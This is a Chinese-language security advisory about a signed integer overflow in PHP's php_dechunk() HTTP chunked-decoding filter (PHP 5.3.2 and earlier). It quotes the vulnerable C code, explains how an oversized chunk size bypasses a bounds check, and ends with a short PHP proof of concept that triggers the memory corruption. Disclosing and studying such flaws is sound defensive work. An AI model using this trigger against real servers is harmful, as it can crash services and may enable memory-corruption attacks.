PHP php_dechunk() HTTP分块编码整数溢出漏洞


发布日期:2010-05-02
更新日期:2010-05-04

受影响系统:
PHP PHP <= 5.3.2
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 39877

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的ext/standard/filters.c文件中的php_dechunk()函数在处理HTTP流时存在符号错误,通过dechunk过滤器处理超大的HTTP块时可以触发内存破坏。

新的PHP dechunk过滤器中的状态机使用以下结构记忆当前的状态:

typedef struct _php_chunked_filter_data {
    php_chunked_filter_state state;
    int chunk_size;
    int persistent;
} php_chunked_filter_data;

chunk_size存储为有符整形,由于使用了块大小解码器,这可能导致问题:

case CHUNK_SIZE:
    while (p < end) {
        if (*p >= '0' && *p <= '9') {
            data->chunk_size = (data->chunk_size * 16) + (*p - '0');
        } else if (*p >= 'A' && *p <= 'F') {
            data->chunk_size = (data->chunk_size * 16) + (*p - 'A' + 10);
        } else if (*p >= 'a' && *p <= 'f') {
            data->chunk_size = (data->chunk_size * 16) + (*p - 'a' + 10);
        } else if (data->state == CHUNK_SIZE_START) {
            data->state = CHUNK_ERROR;
            break;
        } else {
            data->state = CHUNK_SIZE_EXT_START;
            break;
        }
        data->state = CHUNK_SIZE;
        p++;
    }

块大小解码器没有防范整数溢出,正的32位块大小会导致在chunk_size状态变量中存储负整数,之后将块大小与剩余的缓冲区空间做比较时会触发溢出:

case CHUNK_BODY:
    if (end - p >= data->chunk_size) {
        if (p != out) {
            memmove(out, p, data->chunk_size);
        }
        out += data->chunk_size;
        out_len += data->chunk_size;
        p += data->chunk_size;

在chunk_size有符整形变量中存储负的块大小会绕过检查,导致在两个堆缓冲区之间拷贝2GB到4GB。通常这仅能导致崩溃,但在多线程Web服务器中也可能导致可利用的内存破坏。不过PHP很少在多线程环境中使用。

<*来源:Stefan Esser (s.esser@ematters.de)
 
  链接:http://secunia.com/advisories/39573/
        http://php-security.org/2010/05/02/mops-2010-003-php-dechunk-filter-signed-comparison-vulnerability/index.html
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$x = '0fffffffe

XXX';
file_put_contents("file:///tmp/test.dat",$x);
$y = file_get_contents('php://filter/read=dechunk/resource=file:///tmp/test.dat');
echo "here";
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

相关内容